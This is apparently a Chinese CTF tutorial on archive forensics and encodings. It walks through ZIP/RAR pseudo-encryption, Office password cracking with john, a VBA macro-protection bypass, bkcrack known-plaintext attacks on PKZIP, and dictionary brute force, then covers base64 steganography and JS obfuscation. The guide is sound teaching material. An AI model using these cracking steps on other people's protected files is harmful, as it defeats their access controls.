当文件大小或数量超过标准限制时,ZIP 文件将使用 ZIP64 扩展规范。此时,在文件末尾,这些结构按照以下顺序排列(从文件末尾向前):
1. End of Central Directory Record (标准中央目录结束记录):这是最靠近文件末尾的固定结构。如果文件总数、大小等任一属性超出了其16位/32位字段的容量,对应的字段值将被设置为溢出标记(0xFFFF或 0xFFFFFFFF),以表明需要查找 ZIP64 扩展信息。
2. Zip64 End of Central Directory Locator (ZIP64中央目录定位器):此结构紧接在标准结束记录之前。它的核心作用是提供一个指针,指明下一个结构的起始位置。
3. Zip64 End of Central Directory Record (ZIP64中央目录结束记录):此结构位于定位器之前。它包含了文件总数、中央目录大小和起始偏移量等属性的真实64位值,用于替代标准记录中那些已溢出的字段。
这里也算是为了ZIP文件的兼容性服务啦~
如果对这些细节感兴趣的话可以去阅读页面底部的参考文献中.ZIP File Format Specification喵~

bash
1. 第0~3个字节:50 4B 05 06,代表目录结束标记

2. 第4~5个字节:00 00,代表当前磁盘编号(0,代表该 ZIP 文件没有分卷,不跨越多张磁盘)

3. 第6~7个字节:00 00,代表目录区开始磁盘编号(同上,表示中央目录也位于第一个磁盘上)

4. 第8~9个字节:01 00,代表本磁盘上纪录总数(这里表示当前磁盘上有 1 条中央目录记录)

5. 第10~11个字节:01 00,代表目录区中纪录总数(这里表示这个 ZIP 文件中总共包含 1 个文件)

6. 第12~15个字节:62 00 00 00,代表目录区尺寸大小( 50 4B 01 02 开始到中央目录记录结束的所有字节长度,这里是十进制 98 字节)

7. 第16~19个字节:A5 00 00 00,代表目录区对第一张磁盘的偏移量(中央目录相对于存档起始位置的偏移量,这里是十进制 165 字节。这意味着解压软件需要从 ZIP 文件开头跳过 165 个字节,就能找到中央目录(即 `PK\x01\x02` 签名))

8. 第20~21个字节:00 00,代表zip文件注释长度

9. 最后的若干字节(变长):代表 ZIP 文件注释内容

伪加密

zip伪加密是在文件头的加密标志位做修改,进而再打开文件时使其被识别为加密压缩包。

判断加密方式

在了解了ZIP的构成以后,我们可以发现,识别一个zip文件是否加密主要是看压缩源文件数据区的全局方式位标记(General Purpose Bit Flag​,通用位标记)和压缩源文件目录区的全局方式位标记,关键在其中第一字节的最低bit位上(在位索引表示中我们称其为 Bit 0 ,但这里为了方便理解我们不妨多写几个字),其它的不管为何值,都不会影响它的加密属性本身(但是会有其他作用)。通常全局方式位标记为2 bytes长度,第一字节最低bit位为0时表示无加密,例如:0x00,0x02,0x04等;为1时表示有加密,例如0x01,0x03,0x09等。

在010 Editor中我们可以看到,压缩源文件数据区的全局方式位标记对应模板ZIP.bt的frFlags(File Record Flags),而压缩源文件目录区的全局方式位标记对应模板ZIP.bt的deFlags(Directory Entry Flags)。

??? Question "不同压缩软件对frFlags和deFlags的处理有区别吗?"
经过实测,7-Zip 和 QQ预览 检测的是数据区的全局方式位标记,其他解压软件,例如 BandiZip 和 WinRAR 检测目录区的全局方式位标记,这四种软件都只检测一位,并不会检测另一个位置,同时也不会进行报错。

伪加密的判断方法

当我们遇到一个被加密了的压缩包,需要判断是否是伪加密时,一个简单的方法就是,我们可以先尝试将deFlags和frFlags的最低有效位全部改成0,之后保存并尝试解压:

如果保存之后可以正常解压且没有提示损坏,那么就说明这里使用的就是伪加密。

案例

下载文件后打开会发现需要密码

Zip 文件结构分析:

text
1. 固定头文件:50 4B 03 04
2. 解压所需 pkware 版本:14 00
3. 全局方式位标记(有无加密):09 00
4. 压缩方式:08 00
5. 最后修改时间:50 A3
6. 最后修改日期:A5 4A
7. CRC-32:21 38 76 65
8. 压缩后大小:19 00 00 00
9. 解压前大小:17 00 00 00
10. 文件名长度:08 00
11. 扩展字段长度:00 00
12. 文件名:66 6C 61 67 2E 74 78 74
13. 文件数据:4B CB 49 4C AF 76…………
14. 中央目录文件头:50 4B 01 02
15. ZIP 程序版本字段:1F 00
16. 解压所需 pkware 版本:14 00
17. 全局方式位标记(有无加密):09 00
18. 压缩方式:08 00
19. 最后修改时间:50 A3
20. 最后修改日期:A5 4A
21. CRC-32:21 38 76 65
22. 压缩后大小:19 00 00 00
23. 解压前大小:17 00 00 00
24. 文件名长度:08 00
25. 扩展字段长度:24 00
26. 文件注释长度:00 00
27. 单卷 ZIP 文件:00 00
28. 内部文件属性:20 00
29. 文件权限字段: 00 00 00 00
30. 文件名:66 6C 61 67 2E 74 78 74
31. 额外字段: 0A 00…………
32. EOCD 文件头: 50 4B 05 06
33. 当前磁盘编号: 00 00 (表示 ZIP 不是分卷)
34. 中央目录所在磁盘: 00 00 (也表示 ZIP 不是多卷)
35. 此磁盘中央目录中的条目总数: 01 00(就一个 flag.txt)
36. 中央目录中的条目总数: 01 00(也只有一个 flag.txt)
37. 中央目录的大小:5A 00 00 00
38. 中央目录偏移量:3F 00 00 00
39. ZIP 注释长度: 00 00

首先我们来尝试一下是不是伪加密。

注意:ZIP 的压缩数据段应该被加密后变成随机字节流,但伪加密 ZIP 的压缩数据一般仍然是正常的 deflate 流或 store 流。(可以简记为“伪加密的字节流是可以正常读取的”)

解压软件解压前先看全局方式位标记,如果 Bit 0 = 1,则要求输入密码。

可以看到这个压缩包同时修改了deFlags和frFlags:

对于7-Zip,由于它只会检查frFlags的Bit 0,所以我们修改本地文件头的加密标志为 00 00 即可打开:

成功拿到 flag:

加密Word爆破与宏破解

解压缩有三个文件

首先是 hint.txt

text
The length of docm 's password is 6
The Regular Expression of the password is:
[a-z] [a-z] q [a-z] b [a-z]

得知 password.docm 密码全小写字母,且满足 ??q?b?,使用 john 爆破(当然也可以直接用 Archpr)

将 Office 文档中的哈希提取出来,保存为 hash.txt

shell
office2john password.docm > word.hash

使用 掩码攻击(mask attack) 尝试爆破 hash.txt 中的密码哈希

sh
john --mask='?l?lq?lb?l' word.hash
# ?l 表示 小写字母(a-z)
# q 和 b 是固定字符

打开 word

得先破解宏,将 word 文件用压缩包方式打开,找到 vbaProject.bin 文件以十六进制方式查看,将 DPB 改为 DPX 并保存,参考博客

注意不要减少或者增加其他字符,保存退出

重新打开文件,Alt + F11打开

右键打开属性,设置一个密码保存,重新打开文件 Alt + F11 输入密码即可查看宏代码

vbscript
Private Sub CB_OK_Click()
Dim strpasw As String
Dim strdec As String
Dim strusrinput As String
Dim t As String
t = ChrW(21152) & ChrW(27833) & ChrW(21543) & ChrW(65292) & ChrW(21516) & ChrW(23398) & ChrW(20204) & ChrW(65281)

strusrinput = Dialog.TextBox_Pasw
Dim sinput As String
sinput = strusrinput

If (strusrinput <> "") Then
  strusout = Encode(strusrinput, t)
  If (strusout = "┤℡ǒqx~") Then
      strdec = Decode(Dialog.Label_ls.Caption, sinput)
  Else
     If (strusout = "kGJEgq") Then
        strdec = Decode(Dialog.Label_ls1.Caption, sinput)
     Else
          If (strusout = "ЮΟopz+") Then
             strdec = Decode(Dialog.Label_ls2.Caption, sinput)
          Else
                If (strusout = "zΚjrШφεあ") Then
                    strdec = Decode(Dialog.Label_ls4.Caption, sinput)
                Else
                    If (strusout = "àǖtUw┧hè") Then
                          strdec = Decode(Dialog.Label_ls3.Caption, sinput)
                    Else
                          strdec = StrConv(t, vbFromUnicode)
                    End If
                End If
           End If
      End If
   End If
   Label_CLUE.Caption = strdec
End If

无需分析加解密算法,输出结果 strusout 由 Encode(strusrinput, t) 加密得到,只需分别用解密函数反推五个 if 分支条件对应的明文即可

修改 Label_CLUE.Caption = strdec 为 Label_CLUE.Caption = Decode(xxx,t),回到 word 运行 AutoOpen 宏

随便输入字符点击确定即可在 Dialog 的 label 处显示对应明文,分别是 123456、aaaaaa、000000、墙角数枝、iloveyou

将 Label_CLUE.Caption = Decode(xxx,t) 改回 Label_CLUE.Caption = strdec,分别输入五段明文,发现输入 墙角数枝 得到 解压密码:两只黄鹂鸣翠柳,一行白鹭上青天!

结合 word 里的 hint Rar 密码为复杂型,长度为16位,包含了字母、数字和符号。

压缩包密码猜出为 2zhlmcl,1hblsqt.,解压拿到 flag:Dest0g3{VBScr1pt_And_Hashc4t_1s_g00d}

PKZIP 密钥还原

给了三个文件

压缩包里还有一层

先尝试利用 key 文件做一个明文攻击

sh
bkcrack.exe -C purezip.zip -c "secret key.zip" -p key

再利用密钥直接解压

sh
bkcrack.exe -C purezip.zip -c "secret key.zip" -k e63af7cc 55ef839d dc10b922 -d 1.zip

注意此时的 ZIP 是压缩之后的,需要解压一下,放到 cyberchef 里面使用 raw inflate 解一下并保存压缩包

告诉我们密码为两个字节

写脚本爆破

python
import zipfile
import libnum
from tqdm import trange

for i in trange(256):
    for j in range(256):
        fz = zipfile.ZipFile('11.zip', 'r')
        password = libnum.n2s(i) + libnum.n2s(j)
        try:
            fz.extractall(pwd=password)
            print(password)
            fz.close()
            break
        except:
            fz.close()
            continue
    else:
        continue
    break

得到密码:\x9c\x07

再写脚本解压

python
import zipfile

with zipfile.ZipFile('download.zip', 'r') as fz:
    # 直接解压,指定密码
    fz.extractall(pwd=b'\x9c\x07')

打开又得到密钥

同时在 zpaq 文件的文件尾得到

密码是 md5(明文的密钥,长度为 3 个字节)

PKZIP 传统加密不是 AES,而是一种可逆弱流密码,内部维护三个 32-bit 状态:Key0、Key1、Key2

你只要恢复了这三个 key,就能解密 ZIP 内所有文件,即使你不知道用户密码

我们把整个加密分为两个阶段

text
阶段 1:用密码生成三段密钥(Key0/Key1/Key2)
阶段 2:用三段密钥加密数据

阶段一:用密码生成三段密钥

c
Key0 = 0x12345678
Key1 = 0x23456789
Key2 = 0x34567890

再初始化密钥,对用户输入的 ZIP 密码的每一个字节(用 p 代替):

c
Key0 = CRC32(Key0, p)
Key1 = Key1 + (Key0 & 0xff)
Key1 = Key1 * 134775813 + 1
Key2 = CRC32(Key2, (Key1 >> 24))

阶段 2:用三段密钥加密数据

第 1 步:用 Key2 生成一个密钥流字节(keystream = 基于 Key2 算出来 1 字节)

第 2 步:明文 XOR keystream = 密文

第 3 步:用明文字节更新三段密钥(Key0/Key1/Key2)

c
Key0 = CRC32(Key0, P)       // 明文字节 P
Key1 = Key1 + (Key0 & 0xff)
Key1 = Key1 * 134775813 + 1
Key2 = CRC32(Key2, (Key1 >> 24))

也就是说,每加密一个明文字节,都要:

text
1. 生成一个 keystream(密钥流字节)
2. 用它 XOR 明文得到密文
3. 用“明文字节”更新 Key0 Key1 Key2

阶段一只进行一次,阶段二每加密一个明文字节就进行一次

那么怎么破解呢???

PKZIP 的三段密钥更新结构是可逆的(CRC32 可逆、乘法可逆、加法可逆),所以只要你知道某一刻的 Key0 / Key1 / Key2,就能倒推所有密码字节

逆向步骤 1:由 Key2 推出 Key1 的最高字节 & Key2_prev

正向是

python
Key2 = CRC32(Key2_prev, MSB(Key1_prev))

逆向时枚举 Key1 的最高字节(0x00–0xFF),对 CRC32 进行逆变换

python
Key2_prev = inverse_crc32(Key2, guessed_MSB_Key1)

逆向步骤 2:由 Key1_final 推出 Key1_prev 和 Key0_prev 的低字节

正向是

python
Key1 = (Key1_prev + LSB(Key0_prev)) * 134775813 + 1

逆向是

python
# 去掉 +1:
    Key1_minus1 = Key1_final - 1
# 乘法逆元恢复加之前的值:
    # 因为
    Key1_minus1 = (Key1_prev + LSB(Key0_prev)) * constant
    # 所以
    Key1_prev + LSB(Key0_prev) = Key1_minus1 * inverse(constant) mod 2^32
    # 其中 constant = 134775813
    # inverse(constant) 是其在 mod 2^32 下的乘法逆元
# 此时我们知道:
    Key1_prev + LSB(Key0_prev) = some_value
    # 这里未知的只有 8 bit
    # 所以枚举 256 种 LSB(Key0_prev),即可得到 Key1_prev

逆向步骤 3:由 Key0_final 推出 Key0_prev 和密码字节 p

正向是

python
Key0_final = CRC32(Key0_prev, p)

逆向是

python
# 因为 CRC32 的单步更新
    CRC32(old, byte)  →  new
# 在数学上是完全可逆的:
    inverse_crc32(new, p) → old
    # 所以我们枚举密码字节 p(0x00–0xFF)
    Key0_prev = inverse_crc32(Key0_final, p)

最终组合成完整逆向流程

text
for i from N-1 down to 0:
    从 Key2_final 逆 CRC32 推 Key1_prev 的最高位
    从 Key1_final 逆乘法和加法推 Key1_prev & Key0_prev低位
    枚举 p 从 Key0_final 逆 CRC32 推 Key0_prev
    如果所有约束一致,则:
         p[i] = 当前枚举值
         Key0_final = Key0_prev
         Key1_final = Key1_prev
         Key2_final = Key2_prev

因此还需要还原 pkzip 的三段密匙,使用下面指令直接破解

sh
bkcrack.exe -k e48d3828 5b7223cc 71851fb0 -r 3 ?b
# -r 3 表示使用反推阶段(reverse)进行 第 3 次迭代尝试,即从 key2 推回 key0 的过程的步骤次数
# ?b 是一个通配符,通常是 bkcrack 的参数,表示用 brute-force(暴力枚举) 去补全某些信息

最后使用 md5 加密后的密码解压缩即可

ZIP 明文破解

明文攻击主要利用不少于 12 字节(部分说法要求至少有8字节连续)的一段已知明文数据进行攻击,从而获取整个加密文档的数据,具体的原理这里不做太多阐述。

!!! Info
需要注意的是,明文攻击的12字节限制并不是指不足12字节就无法进行攻击,只是更少的字节数代表着可能意味着更多的尝试次数和可能答案。

基于已知文件

下载文件后得到一张图片与一个加密压缩包

图片与压缩包中的图片是一样的(这里就不打开看了),明显提示了要明文攻击,具体怎么做呢?

首先去看压缩包的算法

再将另一个文件也压缩成压缩包,需要保证算法一致

不同的压缩软件算法各不同,这里要使用 WinRAR

使用工具 ARCHPR 明文攻击,在明文选项中选择我们压缩的文件,这样就拿到了密码

基于文件头

打开压缩包需要密码,查看其文件类型

知道文件类型后在 WinHex 中创建相同格式文件

首先根据文件头爆破出 key 值

shell
bkcrack.exe -C flag.zip -c flag.png -p 6.png -o 0 >1.log

-C:被爆破的文件名
-c:密文
-p:明文
shell
bkcrack.exe -C flag.zip -c flag.png -k key -d flag.png

最后还需要修改下 CRC 宽高即可

基于文件头+文件尾

压缩包里是一个 .docx ,众所周知 Office 三件套的文件格式一般都是一堆文件打包起来的 ZIP。

于是用7-Zip看了眼存储方式是ZipCrypto Store,用 bkcrack 去明文攻击,如果这里不确定明文是什么的话就打开 Word 然后新建一个空的文档保存看看。

一开始试了文件头的 12 个字节,还试了这个 Content_Types 的文件名,发现都跑不出来,一度开始怀疑人生。

查一下 ZIP 的结构定义:

可以看到只有开头的 local file header signature 50 4B 03 04 是硬编码的 Magic Number,后面的值都有可能根据文件的不同而变化,但是这也才 4 个字节,不够用怎么办?

继续看到最后结尾的End of central directory record:

这里end of central dir signature是 50 4B 05 06 的 Magic Number,现在有 8 个字节了,还差 4 个,于是 010 Editor 打开空白的 docx 文件看看尾巴:

可以注意到其后的两个值都是 0,即 00000000。

现在我们终于有 12 个字节了,其中后半段的8字节组合在一起就是 504B050600000000,偏移量是从后往前推 22 个字节(根据 End of central directory record 结构的定义:2 + 4 + 4 + 2 + 2 + 2 + 2 + 4 = 22 ,最后的 .ZIP file comment 没有就不管),即文件大小(注意是 ZIP 中的文件压缩前原始大小,不是 ZIP 文件的大小,因为你是使用里面flag.docx那个压缩包的已知明文进行攻击的)减去22:

$$10485 - 22 = 10463$$

所以我们最终可以构造出这样的命令,其中-x是指定偏移和对应位置的连续字节流:

bash
bkcrack -C flag.zip -c flag.docx -x 0 504B0304 -x 10463 504B050600000000

然后我们就可以利用得到的keys解密:

bash
bkcrack -C flag.zip -k dc5f5a25 ba003c16 064c2967 -c flag.docx -d flag.docx

即可得到最终的flag:

text
furryCTF{Ho0w_D1d_You_C0mE_H9re_xwx}

压缩密码爆破

大型比赛中官方都会提供字典,所以还是比较简单的

直接上题(BugKu CTF)

这里需要网上去下载一个 rockyou 字典

题目给的是 ZIP 文件,使用工具 Ziperello 爆破

选择字典模式

选择字典

成功爆破出密码

CRC 碰撞

打开文件需要密码,但是发现了三个大小相同的文件,多个相同大小文件可以确定为 CRC 碰撞

使用脚本碰撞即可

RAR

RAR 文件头修复

当使用 WinRAR 打开时会提示文件头错误,我们需要做的就是去修改错误的文件头

打开文件报错

RAR 文件格式解析:

text
1. 固定文件头:52 61 72 21 1A 07 00(其中 0x6152 表示 CRC,0x72 表示头类型,0x1A21 表示 FLAGS,0x0007 表示 SIZE)
2. 压缩文件头:CF 90 73 00 00 0D 00 00 00 00 00 00 00(结构与上面一致,0x73 表示头类型,只是多了六个字节的保留位)
3. 文件头:D5 56 74…………(这里内容太多(图中全是蓝色部分全是),我们只需知道前三个字节同样与上面一致,0x74 表示头类型)

txt 的内容后面就是 secret.png 的文件头(txt 是可以打开的,内容就是图中字符串)

文件头的头类型是 0x7A,将其改为 0x74

成功解压缩出图片

RAR 伪加密破解

下载附件解压报错

放入 010 中解析,首先是文件头签名

text
52 61 72 21 1A 07 00

第二个部分是关键

偏移 大小 名称 说明
0x00 1 字节 HEAD_CRC 头部校验码
0x01 1 字节 HEAD_TYPE 类型(0x74 表示 File Header)
0x02 2 字节 HEAD_FLAGS 标志位(这里是伪加密的关键)
0x04 2 字节 HEAD_SIZE 头部大小
0x06 4 字节 PACK_SIZE 压缩后大小
0x0A 4 字节 UNP_SIZE 解压后大小
0x0E 1 字节 HOST_OS 操作系统标识
... 可变 其余内容 包括文件名长度、压缩方法、时间戳等

在 RAR 4.x 中也就是第 11 个字节处实现伪加密

也就是 010 Editor 显示的文件结构中的 ubyte BLOCK_HEADERS_ENCRYPTED 字段的值改为 1

在 5.x 中还可以是第 24 个字节处

题目中的版本应该 5.x,将 84 改为 80 即可

(WinRAR 或者 ForeMost 均可直接提取图片)

参考文献

  1. APPNOTE.TXT 6.2.0 - .ZIP File Format Specification

  2. APPNOTE.TXT 最新版 - .ZIP File Format Specification

  3. PKWARE® ZIP标准

  4. Mitunlnyの小宇宙-深入理解zip伪加密

  5. 加密宏破解(EasyWord)-Lazzaro Dest0g3 520迎新赛 WP


Hc Misc Encode Extra (`docs/hc-misc/Encode_extra.md`)


comments: true


编码扩展

注意,阅读本篇之前,您需要先阅读 编码 章节的内容。

简述

在前面我们介绍了编码的基本概念,以及常见的编码方式,但在MISC这个脑洞大开,千奇百怪的分区下,显然基础的编码知识是不够用的,在这个板块我们会做以下补充:

  • 进制与BASE家族的脚本扩展
  • 现代受一些 不可抗力因素 (指河蟹,一种居住于河边的螃蟹) 以及 各类文化元素 / 游戏 (塞尔达,启动!) / 甚至是抽象梗 的影响产生的 编码 或 类密码编码 (如:社会主义核心价值观编码,兽语,DNA编码,与佛论禅,希卡文,提瓦特大陆文字,阴阳怪气编码,真嘟假嘟编码....)
  • 代码混淆
  • 图片码 (如:条形码,二维码)
  • 一些简单编码的分析方式

进制

进位制 又称 进制 ,是一种记数方式,亦称 位置记法 (positional notation)、 数字命位法 [1]、定位记法 [2]、进位记数法、位值记数法(place-value notation)、位置数值系统(positional numeral system);利用这种“记数法”,可以使用有限种“数字符号”来表示所有的数值。

—— 中文wiki——进位制

二进制

在MISC中,针对二进制的脑洞是比较多的,二进制由 0 和 1 组成:

  • 【脑洞联想】两种状态的表示很容易联系到其他编码 如 摩尔斯电码(还有黑丝白丝(?),二维码 ( 两种色块 );再进一步,黑白色块或者黑白两种颜色的图片排布等等。
  • 【数据表示】作为计算机领域最底层的基础,二进制与数据转换和表示密切相关,比如 字符可以通过ASCII码表转换成对应 x 位二进制。
  • 【古今结合】二进制与中国的太极 八卦等古代思想有很大相似之处。(如:[LitCTF 2023]两仪生四象)

十六进制

BASE 家族扩展

考虑到MISC板块的特性——选手需要一定的脚本写作能力,所以我们在这里对base家族做一些扩展:

  • 使用python完成base64 encode/decode

  • 非标准(换表)base64

  • base64隐写

编码解码

在编码部分我们其实已经介绍过了base家族的一些知识,并且拿Base64来举例说明了编码过程,下面是python原生编码解码的示例。

python
class CustomBase64:

    CHAR_SET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0!@#$%^&*()-"

    @classmethod
    def encode(cls, s: str) -> str:
        binary_str = ''.join(format(ord(c), '08b') for c in s)  # 转化为二进制字符串
        padding = 3 - (len(s) % 3) if len(s) % 3 else 0  # 计算需要的填充
        binary_str += '0' * (padding * 8)

        index_strs = [binary_str[i:i + 6] for i in range(0, len(binary_str), 6)]
        encoded = ''.join(cls.CHAR_SET[int(index_str, 2)] for index_str in index_strs)

        return encoded[:-padding] + "=" * padding  # 添加填充

    @classmethod
    def decode(cls, s: str) -> str:
        padding = s.count('=')
        s = s.rstrip('=')

        binary_str = ''.join(format(cls.CHAR_SET.index(c), '06b') for c in s)  # 转化为二进制字符串
        byte_strs = [binary_str[i:i + 8] for i in range(0, len(binary_str), 8)][:-padding]

        decoded = ''.join(chr(int(byte_str, 2)) for byte_str in byte_strs)

        return decoded

在python中可以直接使用base64包对base家族进行encode和decode操作,比如密文 U3F1ZGd5IGZleiwgYmxhbmsgamltcCBjcnd0aCB2b3g=

python
C:\Users\Probius>python
Python 3.8.1 (tags/v3.8.1:1b293b6, Dec 18 2019, 23:11:46) [MSC v.1916 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> print(base64.b64decode("U3F1ZGd5IGZleiwgYmxhbmsgamltcCBjcnd0aCB2b3g="))
b'Squdgy fez, blank jimp crwth vox'
>>>

当然,这种过程,平时交给工具就好了,如果有考点主要还是在base64换表上(写到这笔者想起当时刚入门CTF的时候base64换表都还算比较热门的考点来着,#现在好像见不到了)。

Base64 换表

通过阅读 编码 章节中base64的编码解码过程,其实 换表 不难理解。

base64有多个表,常用的标准表为 ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ 不过,如果不考虑base64使用需求,我们可以打乱这个表,也可以用另外的标准ASCII字符来替换这个表,只要满足表中有64个标准元素即可。

比如 已知密文“ SGVsbG*sIFdvcmxkIQ== ”,自定义表“ ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0!@#$%^&*()- ”,如何求原文呢?

python
C:\Users\Probius>python
Python 3.8.1 (tags/v3.8.1:1b293b6, Dec 18 2019, 23:11:46) [MSC v.1916 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> print(base64.b64decode("SGVsbG*sIFdvcmxkIQ==".translate(str.maketrans("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0!@#$%^&*()-", "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"))).decode('utf-8'))
Hello, World!
>>>

通常我们使用标准表作为媒介,转换后进行映射即可。

Base64 隐写

在前面base64解码过程,我们这样写道:

text
密文: R28=
去掉=:R28
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
-----------------↑------------------------------------↑-----↑---
----------------17-----------------------------------54-----60--
对应表位置:              17     54     60 
还原为6位二进制 :       010001 110110 111100
重新分组为8位二进制:     01000111 01101111 00
8位二进制转换为对应ASCII码:  G        o     /(丢弃不完整部分)
得到原文:Go

我们可以看到 后面不足8位的二进制是被丢弃的,而按照base64的编码过程,后面最多留出两个等号即 4个二进制位。

比如我们要将 a 隐藏进字符串 helo 和 word中:

先对他们进行base64编码可以得到:

text
helo -> aGVsbw== 
word -> d29yZA==

然后依照表格对应出下标的十进制和二进制:

text
helo -> aGVsbw== -> w 48 -> 110000
word -> d29yZA== -> A 0  -> 000000

而对于我们要隐写的a,使用8位二进制表示为 0110 0001

下面我们将隐写数据替换到后面4个隐写位置后再查表替换

text
w 48 -> 110000 -> 110110 -> 54 -> 2
 A 0  -> 000000 -> 000001 -> 1  -> B

此时base64编码变更:

text
helo -> aGVsb2==
word -> d29yZB==

可以看到对其解码的结果没有变化,因为==占位的部分会被直接忽略掉。

想要还原他我们只需要将密文base64先解码再编码 得到没有隐写的base64后 与密文比较即可。

text
# |后面部分将被截断
helo -> aGVsbw== 11|0000
helo'-> aGVsb2== 11|0110
offset = 6 (0110) [helo' - helo = 6]
word -> d29yZA== 00|0000
word'-> d29yZB== 00|0001 
offset = 1 (0001) [word - word' = 1]

当然也可以使用脚本:

python
import base64

b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

def decode_steganography(stegb64_list):
    bin_str = ''
    for line in stegb64_list:
        stegb64 = ''.join(line.split())
        
        decoded = base64.b64decode(stegb64)
        rowb64 = base64.b64encode(decoded).decode('utf-8')
        rowb64 = ''.join(rowb64.split())
        
        offset = abs(b64chars.index(stegb64.replace('=', '')[-1]) - b64chars.index(rowb64.replace('=', '')[-1]))
        equalnum = stegb64.count('=')
        
        if equalnum:
            bin_str += bin(offset)[2:].zfill(equalnum * 2)

    return ''.join([chr(int(bin_str[i:i + 8], 2)) for i in range(0, len(bin_str), 8)])

stegb64_list = ['aGVsb2==', 'd29yZB==']
decoded_message = decode_steganography(stegb64_list)
print(decoded_message)
# a

文本混淆

(一定意义上反映了互联网和misc的抽象发展......)

密码类编码

DNA编码

idea:https://www.geeksforgeeks.org/dna-protein-python-3/

轮子:https://github.com/karma9874/DNA-Cipher-Script-CTF

希卡文

提瓦特大陆文字

代码混淆

原文:test

  • jsfuck : (!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]

  • Brainfuck :+++++ +++++ [->++ +++++ +++<] >++++ +++++ +++++ ++.<+ ++[-> ---<] >---- --.<+ ++[-> +++<] >++++ +.+.<

  • JJEncode :

    text
    _=~[];_={___:++_,$$$$:(![]+"")[_],__$:++_,$_$_:(![]+"")[_],_$_:++_,$_$$:({}+"")[_],$$_$:(_[_]+"")[_],_$$:++_,$$$_:(!""+"")[_],$__:++_,$_$:++_,$$__:({}+"")[_],$$_:++_,$$$:++_,$___:++_,$__$:++_};_.$_=(_.$_=_+"")[_.$_$]+(_._$=_.$_[_.__$])+(_.$$=(_.$+"")[_.__$])+((!_)+"")[_._$$]+(_.__=_.$_[_.$$_])+(_.$=(!""+"")[_.__$])+(_._=(!""+"")[_._$_])+_.$_[_.$_$]+_.__+_._$+_.$;_.$$=_.$+(!""+"")[_._$$]+_.__+_._+_.$+_.$$;_.$=(_.___)[_.$_][_.$_];_.$(_.$(_.$$+"\""+_.__+_.$$$_+"\\"+_.__$+_.$$_+_._$$+_.__+"\"")())();
  • AAEncode

    text
    ゚ω゚ノ= /`m´)ノ ~┻━┻   //*´∇`*/ ['_']; o=(゚ー゚)  =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');

图片码

图:中文wiki-条形码

图片码通过维度来区分,可以分为 「 线性/一维 条形码 Barcode 」 和 「 矩阵/二维 条形码 Matrix (2D) barcodes 」 ,网络上对于两类条形码的分类标准有些杂乱,在国内,二维码 多指 QR code ,多数情况下均为狭义指代,并不指代广义上的 「 矩阵/二维 条形码 」 。读者要是感兴趣可以阅读 英文wiki - Barcode。

本文会沿用国内的解释风格,重点介绍二维码。

条形码

「 条形码 / 条码 Barcode」 ,是将宽度不等的多个黑条和空白,按照一定的编码规则排列,用以表达一组信息的图形标识符。

作为最先出世的图形码,条形码在国际上已有一个庞大的标准库,在CTF中出现的频率并不高,同编码一样,搜索引擎能够解决大部分问题。读者无需刻意记忆。

二维码

